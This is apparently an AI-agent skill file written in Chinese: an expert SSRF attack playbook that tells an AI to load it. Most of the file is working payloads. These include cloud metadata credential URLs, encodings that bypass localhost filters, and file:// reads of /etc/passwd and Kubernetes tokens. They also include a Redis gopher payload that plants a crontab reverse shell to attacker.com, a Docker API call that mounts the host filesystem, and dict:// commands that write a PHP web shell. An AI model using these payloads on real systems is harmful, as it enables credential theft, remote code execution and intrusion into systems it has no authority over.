ssrf-server-side-request-forgery

ssrf-server-side-request-forgery

熱門

SSRF 實戰手冊。當伺服器會抓取 URL、解析主機名稱、匯入遠端內容,或者可能被導向內部網路、雲端元資料(cloud metadata)或次要協定(secondary protocols)時使用。

1516星標
196分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
ssrf-server-side-request-forgery
描述

SSRF 實戰手冊。當伺服器會抓取 URL、解析主機名稱、匯入遠端內容,或者可能被導向內部網路、雲端元資料(cloud metadata)或次要協定(secondary protocols)時使用。

SKILL:伺服器端請求偽造 (SSRF) — 專家級攻擊手冊

AI 載入指令:專家級 SSRF 技術。涵蓋 URL 過濾器繞過、雲端元資料端點、協定利用、盲 SSRF(Blind SSRF)偵測,以及組合鏈至 RCE。基礎模型僅瞭解基本的 169.254.169.254 — 本檔案補足其遺漏之處。若需真實世界 CVE 鏈、DNS 重綁定(DNS Rebinding)深入探討、K8s SSRF 以及 SSRF → Redis → RCE 完整利用,請載入附屬檔案 SCENARIOS.md

0. 快速入門

擴充情境

當你需要以下內容時,也請載入 SCENARIOS.md

  • WebLogic SSRF (CVE-2014-4210) — uddiexplorer/SearchPublicRegistries.jsp + operator 參數 + %0D%0A CRLF 注入 Redis 命令
  • SSRF → 內部 Redis → 寫入 crontab 反向 Shell 完整 Payload 鏈
  • DNS 重綁定(DNS Rebinding)深入解析 — TTL=0 技巧、首次合法→二次內部解析、rbndr.us 服務
  • Kubernetes SSRF (CVE-2020-8555) 以及透過 DNS 重綁定的繞過方式 (CVE-2020-8562)
  • 透過 PDF/截圖生成器的 SSRF — HTML-to-PDF 中的 <iframe><img>
  • Gopher 協定完整 TCP 注入 — 透過 Gopherus 生成 Redis、MySQL、FastCGI 的 Payload
  • 用於繞過過濾器的 URL 解析器混淆 — #@, \@, %00@, IPv6 映射的 IPv4

進階參考資料

當你需要以下內容時,也請載入 URL_PARSER_TRICKS.md

  • URL 解析器差異對照表:Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
  • 完整雲端元資料端點目錄(AWS IMDSv1/v2、GCP、Azure、DigitalOcean、阿里雲、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
  • 適用於 Redis、MySQL、SMTP、FastCGI、Memcached 的 gopher:// payload 範本(含編碼規則)
  • DNS 重綁定詳細攻擊流程(含 TTL 操控與 TOCTOU 分析)
  • PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS 的 SSRF 模式與資料外洩技術

若你剛發現一個會抓取 URL 的參數,請直接在此進行首輪確認。

首輪驗證 Payload

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

主機驗證繞過類型

驗證類型 嘗試方法
封鎖 localhost 字串 127.0.0.1, 127.1, [::1]
僅封鎖直接 IP 內部 DNS 名稱、十進位/八進位/十六進位 IP 形式
前綴白名單 使用者名稱部分、子網域混淆、重新導向鏈
跟隨重新導向 重新導向至內部目標的無害外部 URL
解析一次,抓取兩次 混合編碼或 DNS 重綁定類型的目標

協定路由

目標 協定 / 目標
雲端憑證 元資料 HTTP 端點
內部 HTTP 後台管理 http://127.0.0.1:port/
Redis / 原始 TCP 類型濫用 gopher://
本地檔案讀取候選 file://
字典 / Banner 測試 dict://

1. 尋找 SSRF 攻擊面

尋找任何包含 DNS 名稱、IP 位址或 URL 的參數

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

較不明顯的 SSRF 向量

  • PDF/截圖生成(要擷取的 URL)
  • Webhook 設定欄位
  • 透過 URL 進行匯入/匯出(CSV 匯入、RSS/Atom Feed)
  • OAuth 重新導向 URI(有時會觸發伺服器端抓取)
  • 代理鏈中的 X-Forwarded-Host / X-Real-IP 標頭
  • 包含外部實體的 XML DOCTYPEfile://, http://
  • GraphQL @link 指令(聯合/Federation)
  • 解析 Content-Type: text/html 頁面中的 <link> 預載標頭

2. 基本驗證方法學

步驟 1:提供你的 Burp Collaborator / interact.sh URL
        → 確認伺服器發起出站連線(確認為完整 SSRF)

步驟 2:若無回呼 (Callback) → 測試基於時間的差異(開啟的埠號 = 快速,關閉 = 緩慢/重置):
        比較以下項目的回應時間:
        http://192.168.1.1:22   (可能開啟 → 快速)
        http://192.168.1.1:9999 (可能關閉 → 緩慢/逾時)

步驟 3:嘗試存取 localhost 服務:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — 高危!)
        http://127.0.0.1:4840  (內部管理介面)

3. 雲端元資料端點 — 必試項目

AWS EC2 IMDSv1(無需身分驗證 — 高危)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2(需要 Token — 但需檢查 SSRF 是否能取得 Token)

步驟 1:PUT http://169.254.169.254/latest/api/token
        標頭:X-aws-ec2-metadata-token-ttl-seconds: 21600
步驟 2:GET http://169.254.169.254/latest/meta-data/
        標頭:X-aws-ec2-metadata-token: TOKEN

若 SSRF 支援自訂標頭 → 可完全繞過 IMDSv2

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Headers: Metadata-Flavor: Google

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
Headers: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

阿里雲(Alibaba Cloud)

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes Service Account

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

4. IP 位址過濾器繞過技術

169.254.169.254127.0.0.1localhost 被封鎖時:

Localhost 變體

127.0.0.1
127.1
127.0.1
127.000.000.001    ← octal padding
0x7f000001         ← hex
2130706433         ← decimal (0x7f000001)
0177.0000.0000.0001  ← octal
[::]               ← IPv6 loopback
[::1]              ← IPv6 loopback
[::ffff:127.0.0.1] ← IPv4-mapped IPv6

169.254.169.254 變體

169.254.169.254
2852039166               ← decimal
0xa9fea9fe               ← hex
0251.0376.0251.0376      ← octal
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS rebinding service

私有網路範圍

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 private

透過 DNS 輸入繞過過濾器

若過濾器檢查的是 DNS 解析後的 IP(而非主機名稱):

http://attacker.com/  ← DNS A record points to 169.254.169.254

使用 DNS 重綁定:第一次查詢傳回合法 IP → 通過過濾器 → 第二次請求傳回內部 IP。


5. URL SCHEME 攻擊

http:// 被允許或僅受到微弱過濾時:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← reveals internal network ARP table
file:///proc/net/tcp   ← open network connections

dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://

gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
ldap://attacker.com:389/     ← triggers LDAP bind
ftp://attacker.com/          ← triggers FTP connection

Redis Gopher SSRF(具備完整 RCE 潛力)

gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

6. 盲 SSRF 偵測

當回應未反映抓取的內容時:

  1. Burp Collaborator / interact.sh:檢查是否有來自伺服器的 DNS + HTTP 請求
  2. Pingback / Webhook 濫用:將應用程式本身的 Webhook 設定指向你的 URL
  3. 時間分析:內部開啟埠號與關閉埠號之間的回應時間差異
  4. 錯誤分析:「找不到主機 (host not found)」、「連線被拒 (connection refused)」與「逾時 (timeout)」的不同錯誤訊息可揭露內部網路拓撲

7. 內部服務利用

Docker API(2375 未經身分驗證)

http://127.0.0.1:2375/v1.24/containers/json      ← list containers
http://127.0.0.1:2375/v1.24/images/json          ← list images
# Create privileged container → escape to host:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}

Elasticsearch(9200 預設免驗證)

http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*

Redis(6379 — 常見無驗證)

dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE

內部管理面板

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
http://127.0.0.1:9000/actuator/env
http://127.0.0.1:9000/actuator/heapdump

8. SSRF + 過濾器繞過決策樹

找到 SSRF 參數?
├── 直接嘗試 http://169.254.169.254/ → 被封鎖?
│   ├── 嘗試十進位/十六進位/八進位變體
│   ├── 嘗試 IPv6 變體 [::ffff:169.254.169.254]
│   ├── 嘗試 DNS 重綁定 (nip.io、自訂 NS)
│   └── 嘗試重新導向:attacker.com → 169.254.169.254 (302)
│
├── 嘗試 http://127.0.0.1/ → 被封鎖?
│   ├── 嘗試 127.1 / 127.0.1 / 0x7f000001 / 2130706433
│   ├── 嘗試 localhost → 可能未被封鎖
│   └── 嘗試 IPv6 [::1]
│
├── 允許哪些協定?
│   ├── dict:// → 測試 Redis、Memcached
│   ├── gopher:// → 完整 TCP 資料注入(目標 Redis/SMTP)
│   ├── file:// → 本地檔案讀取
│   └── sftp:// ldap:// ftp:// → 網路互動
│
└── 盲 SSRF (Blind SSRF) → 使用 Burp Collaborator
    └── 僅限 DNS → 使用 DNS 重綁定或搭配 OOB DNS 的 SSRF

9. SSRF 過濾器防護心態

源自 zseano 的方法論:若開發者僅直接過濾 169.254.169.254,卻未過濾 http://169.254.169.254/latest/meta-data(完整路徑),或忽略了:

  • IPv6 等價位址
  • 解析為內部 IP 的 DNS 名稱
  • 重新導向鏈(伺服器跟隨 302 跳轉至內部 IP)

經典盲點:應用程式過濾了 127.0.0.1,但未過濾 127.1[::1]localhost

透過 XML 的應用層 SSRF(當應用程式解析 XML 時):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>